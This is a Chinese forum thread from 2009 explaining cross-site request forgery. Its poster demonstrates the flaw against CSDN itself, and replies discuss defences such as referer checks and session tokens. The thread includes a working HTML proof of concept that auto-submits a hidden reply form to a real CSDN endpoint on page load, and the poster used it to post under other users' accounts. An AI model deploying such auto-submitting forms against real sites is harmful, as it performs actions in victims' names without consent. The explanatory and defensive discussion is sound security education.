csdn的csrf漏洞展示漏洞效果
http://topic.csdn.net/u/20091121/18/a55f7957-7930-4f32-9c79-f5367ebfa4b2.html点10楼的链接自动会在http://topic.csdn.net/u/20091121/16/d431f4b7-0ac7-4bad-b074-25cd94bde7ca.html有你们的回复可能大家会有疑问这样的东西应该没有什么危害,其实不是的csrf漏洞是利用浏览器的某种特质,访问另一个网站时回发一段儿带你登陆信息(cookie)并且恶意的发送数据的方法原理如下 某一个用户z 登陆网站A->发送一段儿带有诱惑性质的链接(如美女图片),此链接是B网站的某个页面,而B这个网站的页面带有一个往A页面发送攻击数据的东西,如在csdn中恶意发帖或者转分等行为(无验证码)以达到攻击的目的。 这时如果用户y 登陆网站A点击此链接后,用户z的攻击便以形成。详情可看http://baike.baidu.com/view/1609487.htm?fr=ala0在这里大家可以考虑一下asp.net网站如何防止csrf攻击方法。我自己有多种方案,暂不公布答得好的分多
http://topic.csdn.net/u/20091121/18/a55f7957-7930-4f32-9c79-f5367ebfa4b2.html点10楼的链接自动会在http://topic.csdn.net/u/20091121/16/d431f4b7-0ac7-4bad-b074-25cd94bde7ca.html有你们的回复可能大家会有疑问这样的东西应该没有什么危害,其实不是的csrf漏洞是利用浏览器的某种特质,访问另一个网站时回发一段儿带你登陆信息(cookie)并且恶意的发送数据的方法原理如下 某一个用户z 登陆网站A->发送一段儿带有诱惑性质的链接(如美女图片),此链接是B网站的某个页面,而B这个网站的页面带有一个往A页面发送攻击数据的东西,如在csdn中恶意发帖或者转分等行为(无验证码)以达到攻击的目的。 这时如果用户y 登陆网站A点击此链接后,用户z的攻击便以形成。详情可看http://baike.baidu.com/view/1609487.htm?fr=ala0在这里大家可以考虑一下asp.net网站如何防止csrf攻击方法。我自己有多种方案,暂不公布答得好的分多
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>无标题页</title>
</head>
<body>
<form name="form1" id="form1" method="post" action="http://forum.csdn.net/PointForum/Forum/ReplyT.aspx?forumID=a3049f56-b572-48f5-89be-4797b70d71cd&topicID=d431f4b7-0ac7-4bad-b074-25cd94bde7ca&postDate=2009-11-21+16%3a23%3a03&v=13" id="form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTA2MTA3Njg5NA9kFgICCQ9kFgJmD2QWAgIFD2QWAmYPZBYCZg8PFgIeBE1vZGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlRleHRCb3hNb2RlARYCHgVzdHlsZQUYaGVpZ2h0OjE4MHB4O3dpZHRoOjEwMCU7ZGRpl2NuIb2XmIUODhEniCtEXExdOA==" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwLtl7ScBQK6873ZCgK3mOXeAjqcUaoqnb3Nj0uKUrGKImKcexCG" />
<textarea name="tb_ReplyBody$_$Editor" rows="2" cols="20" id="tb_ReplyBody___Editor" style="height:180px;height:180px;width:100%;">
just test
</textarea>
<input type="submit" name="bt_Submit" value="提交回复" id="bt_Submit" class="button" />
</form>
<script>
//alert("点击测试");
var o=document.getElementById("bt_Submit");
o.click();
//var o=document.getElementById("form1");
//o.submit();
</script>
</body>
</html>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>无标题页</title>
</head>
<body>
<form name="form1" id="form1" method="post" action="http://forum.csdn.net/PointForum/Forum/ReplyT.aspx?forumID=a3049f56-b572-48f5-89be-4797b70d71cd&topicID=d431f4b7-0ac7-4bad-b074-25cd94bde7ca&postDate=2009-11-21+16%3a23%3a03&v=13" id="form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTA2MTA3Njg5NA9kFgICCQ9kFgJmD2QWAgIFD2QWAmYPZBYCZg8PFgIeBE1vZGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlRleHRCb3hNb2RlARYCHgVzdHlsZQUYaGVpZ2h0OjE4MHB4O3dpZHRoOjEwMCU7ZGRpl2NuIb2XmIUODhEniCtEXExdOA==" />
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwLtl7ScBQK6873ZCgK3mOXeAjqcUaoqnb3Nj0uKUrGKImKcexCG" />
<textarea name="tb_ReplyBody$_$Editor" rows="2" cols="20" id="tb_ReplyBody___Editor" style="height:180px;height:180px;width:100%;">
just test
</textarea>
<input type="submit" name="bt_Submit" value="提交回复" id="bt_Submit" class="button" />
</form>
<script>
//alert("点击测试");
var o=document.getElementById("bt_Submit");
o.click();
//var o=document.getElementById("form1");
//o.submit();
</script>
</body>
</html>
//o.submit();你们知道为什么不用这个么??从asp.net的机制上考虑...
参考:http://www.cnblogs.com/jacksonwj/archive/2009/03/17/1413872.html
像百度和腾讯的图片防盗链一样的,判断请求的url
可以,但是有问题,据说有的防火墙把reffer去掉了,我们不是qq或baidu 没那么大架子。呵呵不过也是种解决方案
而且referer不好,有可能客户机本身的防火墙就把referer的信息拦截了,某些浏览器也有可能去掉了referer,这个方案不太好...
其中有我
// Check if the Session Token exists
if(is_stoken()) {
// Check if the request has been sent
if(isset($_REQUEST[FTOKEN_NAME])) {
// If the Form Token is different from Session Token
// it's a malicious request
if($_REQUEST[FTOKEN_NAME] != $_SESSION[STOKEN_NAME]) {
gen_error(1);
destroy_stoken();
exit();
} else {
destroy_stoken();
}
// If it isn't then it's a malicious request
} else {
gen_error(2);
destroy_stoken();
exit();
}
// If it isn't then it's a malicious request
} else {
gen_error(3);
destroy_stoken();
exit();
}
}
没验正码,谁叫不搞个玛 上去呢
//操作IP是否和初始的时候一样这个不成的,因为ip是一样的.....呵呵,因为ip还是走的客户自己的地址....不过这个方案是动脑子了,可惜结果不对,说得比较有意思,我喜欢
不一样啊,那样的话,只有你一个人的....很好封的..csrf是利用其他人的信息,比如说我把你的注册信息改了你也不知道啊....
很不幸得是不需要,只验证登陆即可,http://hi.csdn.net/cp.php?ac=profile而我只需要把这个页面做成中转提交,你只要不小心点了我的链接就中招了,你也可以试试33楼的链接是用你的帐号发的帖子....
那只能说明CSDN的程序做的太垃圾了, 每次需要验证COOKIE中的用户名和密码,这是必须的。
你先看看原理....兄弟,csdn的程序验证了cookie了....验证cookie是防不住这种攻击的....
兄弟啊,验证cookie当然防不住跨域攻击,不过问题是,你说的意思是你更改我的个人资料,这怎么可能?
更改前系统总要验证下用户名和密码吧,然后再决定是否真的能更改!
我问你个问题 你知道你什么时候发的http://topic.csdn.net/u/20091122/10/fd0b4a12-4254-438f-a864-0504dceea9fb.html这个帖子么?以及为什么....哎
你快明白了...尤其是但是我一想不对啊,你那个网页是另外一个网站上的,它不应该能访问我在csdn上的cookie啊,那它是怎么发的贴子?这句.....呵呵,然后你固有的思路打断了你....你加油想想吧...感觉你太容易受你固有的经验影响了其实你找个抓包工具看看,一目了然的...
不是,你还差一点儿,这是浏览器已经记录了你的A站点的cookie,这时B站点再跨域访问A站点的时候会把A站点的cookie也发回给A,并且同时B站点的攻击数据也发送了,而这时等于是用你的名义做了一些对A站点的操作(其实你根本没操作,真实的操作是B站点做了),所以cookie中不管加密与否都无所了以及有没有在cookie中保存密码也不重要了
跟浏览器的对域名和cookie的管理有关....发现你终于想明白了,这是浏览器本身的做法问题